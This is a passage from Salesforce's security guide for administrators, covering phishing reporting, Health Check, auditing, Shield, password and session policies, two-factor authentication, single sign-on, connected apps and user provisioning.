<table>
<thead>
<tr>
<th>CONTENTS</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Chapter 1: Salesforce Security Guide</strong></td>
</tr>
<tr>
<td>Salesforce Security Basics</td>
</tr>
<tr>
<td>Phishing and Malware</td>
</tr>
<tr>
<td>Security Health Check</td>
</tr>
<tr>
<td>Auditing</td>
</tr>
<tr>
<td>Salesforce Shield</td>
</tr>
<tr>
<td>Authenticate Users</td>
</tr>
<tr>
<td>Elements of User Authentication</td>
</tr>
<tr>
<td>Configure User Authentication</td>
</tr>
<tr>
<td>Give Users Access to Data</td>
</tr>
<tr>
<td>Control Who Sees What</td>
</tr>
<tr>
<td>User Permissions</td>
</tr>
<tr>
<td>Object Permissions</td>
</tr>
<tr>
<td>Custom Permissions</td>
</tr>
<tr>
<td>Profiles</td>
</tr>
<tr>
<td>User Role Hierarchy</td>
</tr>
<tr>
<td>Share Objects and Fields</td>
</tr>
<tr>
<td>Field-Level Security</td>
</tr>
<tr>
<td>Sharing Rules</td>
</tr>
<tr>
<td>User Sharing</td>
</tr>
<tr>
<td>What Is a Group?</td>
</tr>
<tr>
<td>Organization-Wide Sharing Defaults</td>
</tr>
<tr>
<td>Strengthen Your Data’s Security with Shield Platform Encryption</td>
</tr>
<tr>
<td>What You Can Encrypt</td>
</tr>
<tr>
<td>How Encryption Works</td>
</tr>
<tr>
<td>Set Up Your Encryption Policy</td>
</tr>
<tr>
<td>Filter Encrypted Data with Deterministic Encryption</td>
</tr>
<tr>
<td>Key Management and Rotation</td>
</tr>
<tr>
<td>Shield Platform Encryption Customizations</td>
</tr>
<tr>
<td>Encryption Trade-Offs</td>
</tr>
<tr>
<td>Monitoring Your Organization’s Security</td>
</tr>
<tr>
<td>Monitor Login History</td>
</tr>
<tr>
<td>Field History Tracking</td>
</tr>
<tr>
<td>Monitor Setup Changes</td>
</tr>
<tr>
<td>Transaction Security Policies (Legacy)</td>
</tr>
<tr>
<td>Real-Time Event Monitoring</td>
</tr>
<tr>
<td>Real-Time Event Monitoring Definitions</td>
</tr>
<tr>
<td>Considerations for Using Real-Time Event Monitoring</td>
</tr>
<tr>
<td>Enable Access to the Real-Time Event Monitoring</td>
</tr>
<tr>
<td>Topic</td>
</tr>
<tr>
<td>---------------------------------------------------</td>
</tr>
<tr>
<td>Stream and Store Event Data</td>
</tr>
<tr>
<td>Enhanced Transaction Security Policy Enforcement</td>
</tr>
<tr>
<td>Security Guidelines for Apex and Visualforce Development</td>
</tr>
<tr>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>Formula Tags</td>
</tr>
<tr>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>SOQL Injection</td>
</tr>
<tr>
<td>Data Access Control</td>
</tr>
<tr>
<td>INDEX</td>
</tr>
</tbody>
</table>
Salesforce is built with security to protect your data and applications. You can also implement your own security scheme to reflect the structure and needs of your organization. Protecting your data is a joint responsibility between you and Salesforce. The Salesforce security features enable you to empower your users to do their jobs safely and efficiently.
Salesforce Security Basics

The Salesforce security features help you empower your users to do their jobs safely and efficiently. Salesforce limits exposure of data to the users that act on it. Implement security controls that you think are appropriate for the sensitivity of your data. We’ll work together to protect your data from unauthorized access from outside your company and from inappropriate usage by your users.

IN THIS SECTION:

Phishing and Malware

If you see something suspicious related to your Salesforce implementation, report it to security@salesforce.com, in addition to your own IT or security team. Trust starts with transparency. That's why Salesforce displays real-time information on system performance and security at http://trust.salesforce.com. For security-specific information, go to http://trust.salesforce.com/security. This site provides live data on system performance, alerts for current and recent phishing and malware attempts, and tips on security best practices for your organization.

Security Health Check

As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security settings, all from a single page. A summary score shows how your org measures against a security baseline, like the Salesforce Baseline Standard. You can upload up to five custom baselines to use instead of the Salesforce Baseline Standard.

Auditing

Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The Salesforce auditing features don't secure your organization by themselves; someone in your organization should do regular audits to detect potential abuse.

Salesforce Shield

Salesforce Shield is a trio of security tools that admins and developers can use to build a new level of trust, transparency, compliance, and governance right into business-critical apps. It includes Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce administrator if Salesforce Shield is available in your organization.

Phishing and Malware

If you see something suspicious related to your Salesforce implementation, report it to security@salesforce.com, in addition to your own IT or security team. Trust starts with transparency. That’s why Salesforce displays real-time information on system performance and security at http://trust.salesforce.com. For security-specific information, go to http://trust.salesforce.com/security. This site provides live data on system performance, alerts for current and recent phishing and malware attempts, and tips on security best practices for your organization.

The Security section of the Trust site includes valuable information that can help you safeguard your company's data. In addition to security best practices, the site provides information on how to recognize and report phishing attempts and information on current malware campaigns that might impact Salesforce customers.

- Phishing is a social engineering technique that attempts to acquire sensitive information, such as usernames, passwords, and credit card details, by masquerading as a trustworthy person or entity. Phishing can occur via email, text messaging, voice calls, and other avenues. Phishers often direct targets to click a link and enter valuable information or to open an attachment with the goal of downloading malware onto the target's device. As the Salesforce community grows, it becomes an increasingly appealing target for phishers. You will never get an email or a phone call from a Salesforce employee asking you to reveal your login credentials, so don’t reveal them to anyone. Report suspicious activities or emails regarding your Salesforce instance directly to the Salesforce Security team at security@salesforce.com.
Malware is software designed to infiltrate or damage a computer system without the owner’s informed consent. It is a general term used to cover various forms of hostile or intrusive software, including computer viruses, ransomware, and spyware. For a list of current security advisories, go to https://trust.salesforce.com/en/security/security-advisories.

What Salesforce Is Doing About Phishing and Malware

Security is the foundation of our customers’ success, so Salesforce continues to implement the best possible practices and security technologies to protect our ecosystem. Recent and ongoing actions include:

- Actively monitoring and analyzing logs to enable proactive alerts to our customers who have been affected.
- Collaborating with leading security vendors and experts on the most effective security tools.
- Ongoing security education and engagement activities for Salesforce employees.
- Creating processes for developing products with security in mind.
- Proactively sharing security best practices with customers and partners through trust.salesforce.com/security and other ongoing activities.

What Salesforce Recommends You Do

Salesforce is committed to setting the standards in software-as-a-service as an effective partner in customer security. In addition to our internal efforts, Salesforce strongly recommends that customers implement the following changes to enhance security.

- Implement two-factor authentication techniques to restrict access to your network. For more information, see Two-Factor Authentication on page 9.
- Modify your Salesforce implementation to activate IP range restrictions. These restrictions allow users to access Salesforce only from your corporate network or VPN. For more information, see Restrict Where and When Users Can Log In to Salesforce on page 18.
- Set session security restrictions to make spoofing more difficult. For more information, see Modify Session Security Settings on page 29.
- Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
- Use security solutions from leading vendors to deploy spam filtering and malware protection.
- Designate a security contact within your organization so that Salesforce can more effectively communicate with you. Contact your Salesforce representative with this information.
- Use Transaction Security to monitor events and take appropriate actions. For more information, see Transaction Security Policies.

Salesforce has a Security Incident Response Team to respond to any security issues. To report a security incident or vulnerability to Salesforce, contact security@salesforce.com. Describe the issue in detail, and the team will respond promptly.
Security Health Check

As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security settings, all from a single page. A summary score shows how your org measures against a security baseline, like the Salesforce Baseline Standard. You can upload up to five custom baselines to use instead of the Salesforce Baseline Standard.

From Setup, enter *Health Check* in the Quick Find box, then select *Health Check*.

In the baseline dropdown (1), choose the Salesforce Baseline Standard or a custom baseline. The baseline consists of recommended values for High-Risk, Medium-Risk, Low-Risk, and Informational Security Settings (2). If you change settings to be less restrictive than what’s in the baseline, your health check score (3) and grade (4) decreases.

Your settings are shown with information about how they compare against baseline values (5). To remediate a risk, edit the setting (6) or use Fix Risks (7) to quickly change settings to your selected baseline’s recommended values without leaving the Health Check page. You can import, export, edit, or delete a custom baseline with the baseline control menu (8).

**Note:** When we introduce new settings to Security Health Check, they are added to the Salesforce Baseline Standard with default values. If you have a custom baseline, you are prompted to add the new settings when you open your custom baseline.

**Example:** Suppose that you changed your password minimum length from 8 (the default value) to 5, and changed other Password Policies settings to be less restrictive. These changes make your users’ passwords more vulnerable to guessing and other brute force attacks. As a result, your overall score decreases, and the settings are listed as risks.

**Fix Risks Limitations**

Not all settings can be changed using the Fix Risks button. If a setting you want to adjust does not appear on the Fix Risks screen, change it manually using the Edit link on the Health Check page.

SEE ALSO:

*Salesforce Help: How Is the Health Check Score Calculated?*
*Salesforce Help: Create a Custom Baseline for Health Check*
*Salesforce Help: Custom Baseline File Requirements*
Auditing

Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The Salesforce auditing features don’t secure your organization by themselves; someone in your organization should do regular audits to detect potential abuse.

To verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.

Record Modification Fields

All objects include fields to store the name of the user who created the record and who last modified the record. This provides some basic auditing information.

Login History

You can review a list of successful and failed login attempts to your organization for the past six months. See Monitor Login History on page 228.

Field History Tracking

You can also enable auditing for individual fields, which will automatically track any changes in the values of selected fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See Field History Tracking on page 230.

Setup Audit Trail

Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization’s configuration. See Monitor Setup Changes on page 235.

Salesforce Shield

Salesforce Shield is a trio of security tools that admins and developers can use to build a new level of trust, transparency, compliance, and governance right into business-critical apps. It includes Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your Salesforce administrator if Salesforce Shield is available in your organization.

Platform Encryption

Platform Encryption allows you to natively encrypt your most sensitive data at rest across all your Salesforce apps. This helps you protect PII, sensitive, confidential, or proprietary data and meet both external and internal data compliance policies while keeping critical app functionality — like search, workflow, and validation rules. You keep full control over encryption keys and can set encrypted data permissions to protect sensitive data from unauthorized users. See Platform Encryption on page 143.

Event Monitoring

Event Monitoring gives you access to detailed performance, security, and usage data on all your Salesforce apps. Every interaction is tracked and accessible via API, so you can view it in the data visualization app of your choice. See who is accessing critical business data when, and from where. Understand user adoption across your apps. Troubleshoot and optimize performance to improve end-user experience. Event Monitoring data can be easily imported into any data visualization or application monitoring tool like Wave Analytics, Splunk, or New Relic. To get started, check out our Event Monitoring training course.

Field Audit Trail

Field Audit Trail lets you know the state and value of your data for any date, at any time. You can use it for regulatory compliance, internal governance, audit, or customer service. Built on a big data backend for massive scalability, Field Audit Trail helps companies create a forensic data-level audit trail with up to 10 years of history, and set triggers for when data is deleted. See Field Audit Trail on page 233.
Authenticate Users

Authentication means preventing unauthorized access to your organization or its data by making sure each logged in user is who they say they are.

IN THIS SECTION:

- Elements of User Authentication
  Salesforce provides several methods to authenticate users. Some methods are automatically enabled, and some require that you enable and configure them. Using this user authentication spectrum, you can build authentication to fit your org’s needs and your users’ use patterns.

- Configure User Authentication
  Choose login settings to ensure that your users are who they say they are.

Elements of User Authentication

Salesforce provides several methods to authenticate users. Some methods are automatically enabled, and some require that you enable and configure them. Using this user authentication spectrum, you can build authentication to fit your org’s needs and your users’ use patterns.

User Authentication Spectrum

At one end of the user authentication spectrum, Salesforce automatically enables certain authentication methods. These methods include passwords, cookies, and identity verification.

At the other end of the spectrum, you enable and configure user authentication methods to best fit your org’s needs and users’ use patterns. These methods include two-factor authentication, single sign-on, My Domain, network-based security, session security, custom login flows, connected apps, and desktop client access.

IN THIS SECTION:

- Passwords
  Salesforce provides each user in your organization with a unique username and password that must be entered each time a user logs in. As an administrator, you can configure several settings to ensure that your users’ passwords are strong and secure.

- Cookies
  Salesforce issues a session cookie to record encrypted authentication information for the duration of a specific session.

- Single Sign-On
  Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to simplify and standardize their user authentication.

- My Domain
  Using My Domain, you can define a Salesforce subdomain name to manage login and authentication for your org in several key ways.

- Two-Factor Authentication
  Two-factor authentication is the most effective way to protect your org’s user accounts. As a Salesforce admin, amplify your org’s security by requiring a second level of authentication for every user login. You can also require two-factor authentication when a user meets certain criteria, such as attempting to view reports or access a connected app.
Network-Based Security

Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more difficult for an attacker to use stolen credentials.

Device Activation

Device activation tracks information about the devices from which users have verified their identity. Salesforce prompts users to verify their identity when they access Salesforce from an unrecognized browser or application. Device activation is an extra layer of security on top of username and password authentication.

Session Security

After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one employee tries to use another employee’s session. Choose from several session settings to control session behavior.

Custom Login Flows

Login flows allow admins to build post-authentication processes to match their business practices, associate the flow with a user profile, and send the user through that flow when logging in. Salesforce directs users to the login flow after they authenticate but before they access your org or community. After users complete the login flow, they’re logged in to your Salesforce org or community. The login process can also log out users immediately if necessary.

Single Sign-On

Single sign-on (SSO) lets users access authorized network resources with one login. You validate usernames and passwords against your corporate user database or other client app rather than Salesforce managing separate passwords for each resource.

Connected Apps

A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols, such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single sign-on (SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform, other platforms, devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from your Salesforce org, you’re using a connected app.

Desktop Client Access

Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available.
Passwords

Salesforce provides each user in your organization with a unique username and password that must be entered each time a user logs in. As an administrator, you can configure several settings to ensure that your users’ passwords are strong and secure.

- **Password policies**—Set various password and login policies, such as specifying an amount of time before all users’ passwords expire and the level of complexity required for passwords. See Set Password Policies on page 25.
- **User password expiration**—Expire the passwords for all users in your organization, except for users with “Password Never Expires” permission. See Expire Passwords for All Users on page 29.
- **User password resets**—Reset the password for specified users. See Reset Passwords for Your Users.
- **Login attempts and lockout periods**—If a user is locked out of Salesforce because of too many failed login attempts, you can unlock them. See Edit Users.

**Password Requirements**

A password can’t contain a user’s username and can’t match a user’s first or last name. Passwords also can’t be too simple. For example, a user can’t change their password to password.

For all editions, a new organization has the following default password requirements. You can change these password policies in all editions, except for Personal Edition.

- A password must contain at least eight characters, including one alphabetic character and one number.
- The security question’s answer can’t contain the user’s password.
- When users change their password, they can’t reuse their last three passwords.

Cookies

Salesforce issues a session cookie to record encrypted authentication information for the duration of a specific session.

The session cookie does not include the user’s username or password. Salesforce does not use cookies to store other confidential user and session information, but instead implements more advanced security methods based on dynamic data and encoded session IDs.

Single Sign-On

Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to simplify and standardize their user authentication.

You have two options to implement single sign-on—federated authentication using Security Assertion Markup Language (SAML) or delegated authentication.

- **Federated authentication using Security Assertion Markup Language (SAML)** lets you send authentication and authorization data between affiliated but unrelated web services. You can log in to Salesforce from a client app. Salesforce enables federated authentication for your org automatically.
- **Delegated authentication SSO** integrates Salesforce with an authentication method that you choose. You can integrate authentication with your LDAP (Lightweight Directory Access Protocol) server or use a token instead of a password for authentication. You manage delegated authentication at the permission level, not at the org level, giving you more flexibility. With permissions, you can require some to use delegated authentication while others use their Salesforce-managed password.

Delegated authentication offers the following benefits.
− Uses a stronger form of user authentication, such as integration with a secure identity provider
− Makes your login page private and accessible only behind a corporate firewall
− Differentiates your org from all other companies that use Salesforce to reduce phishing attacks
You must contact Salesforce to enable delegated authentication before you can configure it on your org.

• Authentication providers let your users log in to your Salesforce org using their login credentials from an external service provider. Salesforce supports the OpenID Connect protocol, which lets users log in from any OpenID Connect provider, such as Google, PayPal, and LinkedIn. When an authentication provider is enabled, Salesforce doesn't validate a user’s password. Instead, Salesforce uses the user’s login credentials from the external service provider to establish authentication credentials.

Identity Providers

An identity provider is a trusted provider that lets you use single sign-on (SSO) to access other websites. A service provider is a website that hosts apps. You can enable Salesforce as an identity provider and define one or more service providers. Your users can then access other apps directly from Salesforce using SSO. SSO is a great help to your users—instead of having to remember many passwords, they only have to remember one.

For more information, see “Identity Providers and Service Providers” in Salesforce Help.

My Domain

Using My Domain, you can define a Salesforce subdomain name to manage login and authentication for your org in several key ways.

• Highlight your business identity with your unique domain URL
• Brand your login page and customize content on the right side of the page
• Block or redirect page requests that don’t use the new domain name
• Work in multiple Salesforce orgs at the same time
• Set custom login policy to determine how users are authenticated
• Let users log in using a social account, like Google and Facebook, from the login page
• Allow users to log in once to access external services

For more information, see “My Domain” in Salesforce Help.

Two-Factor Authentication

Two-factor authentication is the most effective way to protect your org’s user accounts. As a Salesforce admin, amplify your org’s security by requiring a second level of authentication for every user login. You can also require two-factor authentication when a user meets certain criteria, such as attempting to view reports or access a connected app.

Two-factor authentication is an essential user authentication method—so essential that Salesforce provides two types of two-factor authentication.

• Service-based—Also known as device activation, service-based two-factor authentication is automatically enabled for all orgs.
• Policy-based—Admins enable policy-based two-factor authentication. It is an admin’s best tool to protect org user accounts.

For help with configuring two-factor authentication, see the Admin Guide to Two-Factor Authentication and the Trailhead Module Secure Your Users’ Identity.
Org Policies That Require Two-Factor Authentication

Set policies that require a second level of authentication for every login, for logins through the API (for developers and client applications), or for access to specific features. Users provide the second factor by downloading and installing a mobile authenticator app, such as the Salesforce Authenticator app or the Google Authenticator app, on their mobile device. They can also use a U2F security key as the second factor. After users connect an authenticator app or register a security key with their Salesforce account, they can use these authentication methods whenever your org’s policies require two-factor authentication.

The Salesforce Authenticator mobile app (version 2 and later) sends a push notification to the user’s mobile device when the Salesforce account requires identity verification. The user responds on the mobile device to verify or block the activity. The user can enable location services for the app and automate verifications from trusted locations, such as a home or office. Salesforce Authenticator also generates verification codes, sometimes called “time-based one-time passwords” (TOTPs). Users can choose to enter a password plus the code instead of responding to a push notification from the app for two-factor verification. Or they can get a verification code from another authenticator app.

If users lose or forget the device they usually use for two-factor authentication, you can generate a temporary verification code for them. You set when the code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user can have only one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code, then generate a new one. Users can expire their own valid codes in their personal settings.

SEE ALSO:
Set Up Two-Factor Authentication

Network-Based Security

Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more difficult for an attacker to use stolen credentials.

Device Activation

Device activation tracks information about the devices from which users have verified their identity. Salesforce prompts users to verify their identity when they access Salesforce from an unrecognized browser or application. Device activation is an extra layer of security on top of username and password authentication.

When a user logs in from outside a trusted IP range from an unrecognized browser or app, Salesforce challenges the user to verify identity. Salesforce uses the highest-priority verification method available for each user. In order of priority, the methods are:

1. Push notification or location-based automated verification with the Salesforce Authenticator mobile app (version 2 or later) connected to the user’s account
2. U2F security key registered with the user’s account
3. Verification code generated by a mobile authenticator app connected to the user’s account
4. Verification code sent via SMS to the user’s verified mobile device
5. Verification code sent via email to the user’s registered email address
Session Security

After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one employee tries to use another employee's session. Choose from several session settings to control session behavior.

You can control when an inactive user session expires. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with a dialog that allows them to log out or continue working. If they don't respond to this prompt, they are logged out.

Note: When users close a browser window or tab, they aren't automatically logged out from their Salesforce session. Ensure that your users are aware of this behavior and that they end all sessions properly by selecting Your Name > Logout.

By default, Salesforce uses TLS (Transport Layer Security) and requires secure connections (HTTPS) for all communication. The Require secure connections (HTTPS) setting determines whether TLS (HTTPS) is required for access to Salesforce. If you ask Salesforce to disable this setting and change the URL from https:// to http://, you can still access the application. However, for added security, require all sessions to use TLS. For more information, see Modify Session Security Settings on page 29.

You can restrict access to certain types of resources based on the level of security associated with the authentication method for the user's current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change the session security level and define policies so that specified resources are available only to users assigned a High Assurance level. For details, see Session-level Security on page 36.

You can control whether your org stores user logins and whether they can appear from the Switcher with the settings Enable caching and autocomplete on login page, Enable user switching, and Remember me until logout.

Custom Login Flows

Login flows allow admins to build post-authentication processes to match their business practices, associate the flow with a user profile, and send the user through that flow when logging in. Salesforce directs users to the login flow after they authenticate but before they access your org or community. After users complete the login flow, they're logged in to your Salesforce org or community. The login process can also log out users immediately if necessary.

What can you do with a login flow?

- Enhance or customize the login experience. For example, add a logo or login message.
- Collect and update user data. For example, request an email address, phone number, or mailing address.
- Interact with users, and ask them to perform an action. For example, complete a survey or accept terms of service.
- Connect to an external identity service or geo-fencing service, and collect or verify user information.
- Enforce strong authentication. For example, implement a two-factor authentication method using hardware, SMS, biometric, or another authentication technique.
- Run a confirmation process. For example, have a user define a secret question, and validate the answer during login.
- Create more granular policies. For example, set up a policy that sends a notification every time a user logs in during non-standard working hours.

The first step is to create a flow using either Flow Builder or Visualforce. Flow Builder is a point-and-click tool that you can use to design a simple flow that users execute when logging in. Use Visualforce to have complete control over how the login page looks and behaves.

Next, you designate the flow as a login flow and associate it with specific profiles in your org. You can create multiple login flows and associate each one with a different user profile. Users assigned to one profile, like sales reps, experience a particular login process as they log in. Users assigned to a different profile like service reps, experience a different login process.
After you associate a login flow with a profile, it is applied each time a user with that profile logs in to Salesforce, communities, the Salesforce app, and even Salesforce client applications that use OAuth. You can apply login flows to Salesforce orgs and communities, including external identity communities.

Login flows support all Salesforce authentication methods: standard username and password, delegated authentication, SAML single sign-on, and social sign-on through a third-party authentication provider. For example, users logging in with a LinkedIn account can go through a login flow specific for LinkedIn users.

Note: You can’t apply login flows to API logins or when sessions are passed to the UI through `frontend.jsp` from a non-UI login process.

SEE ALSO:
- Login Flow Examples

Single Sign-On

Single sign-on (SSO) lets users access authorized network resources with one login. You validate usernames and passwords against your corporate user database or other client app rather than Salesforce managing separate passwords for each resource.

Salesforce offers the following ways to use SSO:

- Federated authentication using Security Assertion Markup Language (SAML) lets you send authentication and authorization data between affiliated but unrelated web services. You can log in to Salesforce from a client app. Salesforce enables federated authentication for your org automatically.

- Delegated authentication SSO integrates Salesforce with an authentication method that you choose. You can integrate authentication with your LDAP (Lightweight Directory Access Protocol) server or use a token instead of a password for authentication. You manage delegated authentication at the permission level, not at the org level, giving you more flexibility. With permissions, you can require some to use delegated authentication while others use their Salesforce-managed password.

Delegated authentication offers the following benefits.

- Uses a stronger form of user authentication, such as integration with a secure identity provider
- Makes your login page private and accessible only behind a corporate firewall
- Differentiates your org from all other companies that use Salesforce to reduce phishing attacks

You must contact Salesforce to enable delegated authentication before you can configure it on your org.

- Authentication providers let your users log in to your Salesforce org using their login credentials from an external service provider. Salesforce supports the OpenID Connect protocol, which lets users log in from any OpenID Connect provider, such as Google, PayPal, and LinkedIn. When an authentication provider is enabled, Salesforce doesn’t validate a user’s password. Instead, Salesforce uses the user’s login credentials from the external service provider to establish authentication credentials.

When you have an external identity provider and configure SSO for your Salesforce org, Salesforce is then acting as a service provider. You can also enable Salesforce as an identity provider and use SSO to connect to a different service provider. Only the service provider needs to configure SSO.
The Single Sign-On Settings page displays which version of SSO is available for your org. To learn more about SSO settings, see Configure SAML Settings for Single Sign-On. For more information about SAML and Salesforce security, see the Security Implementation Guide.

Benefits of SSO

Implementing SSO brings several advantages to your org.

- **Reduced administrative costs**—With SSO, users memorize a single password to access network resources and external apps and Salesforce. When accessing Salesforce from inside the corporate network, users log in seamlessly and aren’t prompted for a username or password. When accessing Salesforce from outside the corporate network, the users’ corporate network login works to log them in. With fewer passwords to manage, system admins receive fewer requests to reset forgotten passwords.

- **Leverage existing investment**—Many companies use a central LDAP database to manage user identities. You can delegate Salesforce authentication to this system. Then when users are removed from the LDAP system, they can no longer access Salesforce. Users who leave the company automatically lose access to company data after their departure.

- **Time savings**—On average, users take 5–20 seconds to log in to an online app. It can take longer if they mistype their username or password and are prompted to reenter them. With SSO in place, manually logging in to Salesforce is avoided. These saved seconds reduce frustration and add up to increased productivity.

- **Increased user adoption**—Due to the convenience of not having to log in, users are more likely to use Salesforce regularly. For example, users can send email messages that contain links to information in Salesforce, such as records and reports. When the recipient of the email message clicks the links, the corresponding Salesforce page opens.

- **Increased security**—All password policies that you’ve established for your corporate network are in effect for Salesforce. Sending an authentication credential that’s only valid for a single time also increases security for users who have access to sensitive data.

SEE ALSO:

Best Practices and Tips for Implementing Single Sign-On

Connected Apps

A connected app is a framework that enables an external application to integrate with Salesforce using APIs and standard protocols, such as SAML, OAuth, and OpenID Connect. Connected apps use these protocols to authenticate, authorize, and provide single sign-on (SSO) for external apps. The external apps that are integrated with Salesforce can run on the customer success platform, other platforms, devices, or SaaS subscriptions. For example, when you log in to your Salesforce mobile app and see your data from your Salesforce org, you’re using a connected app.

By capturing metadata about an external app, a connected app tells Salesforce which authentication protocol—SAML, OAuth, and OpenID Connect—the external app uses, and where the external app runs. Salesforce can then grant the external app access to its data, and attach policies that define access restrictions, such as when the app’s access expires. Salesforce can also audit connected app usage.

IN THIS SECTION:

User Provisioning for Connected Apps

You can use a connected app to link your users with a third-party app. User provisioning for a connected app simplifies account creation and links your Salesforce users’ accounts to their third-party accounts. After the accounts are linked, you can configure the App Launcher to display the connected app as a tile. With a single click, users get instant access to the third-party app.

EDITIONS

Available in: both Salesforce Classic (not available in all orgs) and Lightning Experience

Connected Apps can be created in: **Group, Professional, Enterprise, Performance, Unlimited, and Developer** Editions

Connected Apps can be installed in: **All** Editions
User Provisioning for Connected Apps

You can use a connected app to link your users with a third-party app. User provisioning for a connected app simplifies account creation and links your Salesforce users’ accounts to their third-party accounts. After the accounts are linked, you can configure the App Launcher to display the connected app as a tile. With a single click, users get instant access to the third-party app.

Here’s a user provisioning scenario. You configure user provisioning for a G Suite connected app in your org. Then you assign the Employees profile to that connected app. When you create a user in your org and assign the user to the Employees profile, the user is provisioned in G Suite. When the user is deactivated, or the profile assignment changes, the user is deprovisioned from G Suite.

User provisioning applies only to users with a profile or permission set that grants them access to the connected app.

Salesforce provides a wizard to guide you through the user provisioning settings for each connected app. You can also run reports to see who has access to specific third-party apps. These reports give you a centralized view of all user accounts across all connected apps.

User Provisioning Requests

After you configure user provisioning, Salesforce manages requests for updates on the third-party system. Salesforce sends user provisioning requests to the third-party system based on specific events in your org, either through the UI or API calls. This table shows the events that trigger user provisioning requests and their associated operations.

<table>
<thead>
<tr>
<th>Event</th>
<th>Operation</th>
<th>Object</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create user</td>
<td>Create</td>
<td>User</td>
</tr>
<tr>
<td>Update user (for selected attributes)</td>
<td>Update</td>
<td>User</td>
</tr>
<tr>
<td>Disable user</td>
<td>Deactivate</td>
<td>User</td>
</tr>
<tr>
<td>Enable user</td>
<td>Activate</td>
<td>User</td>
</tr>
<tr>
<td>Freeze user</td>
<td>Freeze</td>
<td>UserLogin</td>
</tr>
<tr>
<td>Unfreeze user</td>
<td>Unfreeze</td>
<td>UserLogin</td>
</tr>
<tr>
<td>Reactivate user</td>
<td>Reactivate</td>
<td>User</td>
</tr>
<tr>
<td>Change user profile</td>
<td>Create or Deactivate</td>
<td>User</td>
</tr>
<tr>
<td>Assign or unassign a permission set to a user</td>
<td>Create or Deactivate</td>
<td>PermissionSetAssignment</td>
</tr>
<tr>
<td>Assign or unassign a profile to the connected app</td>
<td>Create or Deactivate</td>
<td>SetupEntityAccess</td>
</tr>
<tr>
<td>Assign or unassign a permission set to the connected app</td>
<td>Create or Deactivate</td>
<td>SetupEntityAccess</td>
</tr>
</tbody>
</table>

The operation value is stored in the UserProvisioningRequest object. Salesforce can either process the request immediately or wait for an approval process to complete (if you requested approvals when running the wizard). To process the request, Salesforce uses a flow of the type *User Provisioning*, which includes a reference to the Apex UserProvisioningPlugin class. The flow calls the third-party service’s API to manage user account provisioning on that system.
To send user provisioning requests based on events in Active Directory (AD), use Salesforce Identity Connect to capture AD events, and synchronize them into Salesforce. Then, Salesforce sends the user provisioning requests to the third-party system to provision or deprovision users.

**Considerations**

**Entitlements**

Roles and permissions for the service provider can’t be managed or stored in the Salesforce org. So specific entitlements to resources at the service provider aren’t included when a user requests access to a third-party app that has user provisioning enabled. With user provisioning, you can create a user account for a service provider. However, the service provider must manage any additional roles or permissions for the user.

**Scheduled account reconciliation**

Run the User Provisioning wizard each time you want to collect and analyze users in the third-party system. You can’t configure an interval for an automatic collection and analysis.

**Access recertification**

After an account is created for the user, validation of the user’s access to resources at the service provider must be performed at the service provider.

**Desktop Client Access**

Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether users are automatically notified when updates are available.

To set permissions for Salesforce for Outlook, use the “Manage Email Client Configurations” permission.

You can set users’ access to desktop client by editing their profiles.

<table>
<thead>
<tr>
<th>Option</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>Off (access denied)</td>
<td>The respective client download page in users’ personal settings is hidden. Also, users can’t log in from the client.</td>
</tr>
<tr>
<td>On, no updates</td>
<td>The respective client download page in users’ personal settings is hidden. Users can log in from the client but can’t upgrade it from their current version.</td>
</tr>
<tr>
<td>On, updates w/o alerts</td>
<td>Users can download, log in from, and upgrade the client, but don’t see alerts when a new version is made available.</td>
</tr>
<tr>
<td>On, updates w/alerts</td>
<td>Users can download, log in from, and upgrade the client. They can see update alerts, and can follow or ignore them.</td>
</tr>
<tr>
<td>On, must update w/alerts</td>
<td>Users can download, log in from, and upgrade the client. When a new version is available, they can see an update alert. They can’t log in from the client until they have upgraded it.</td>
</tr>
</tbody>
</table>

**EDITIONS**

Connect Offline available in: Salesforce Classic

Connect Offline available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

Connect for Office available in: both Salesforce Classic and Lightning Experience

Connect for Office available in: All Editions except Database.com
Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users have the system default "On, updates w/o alerts" for all clients.

Note:
- Desktop client access is available only for users whose profiles have the "API Enabled" permission.

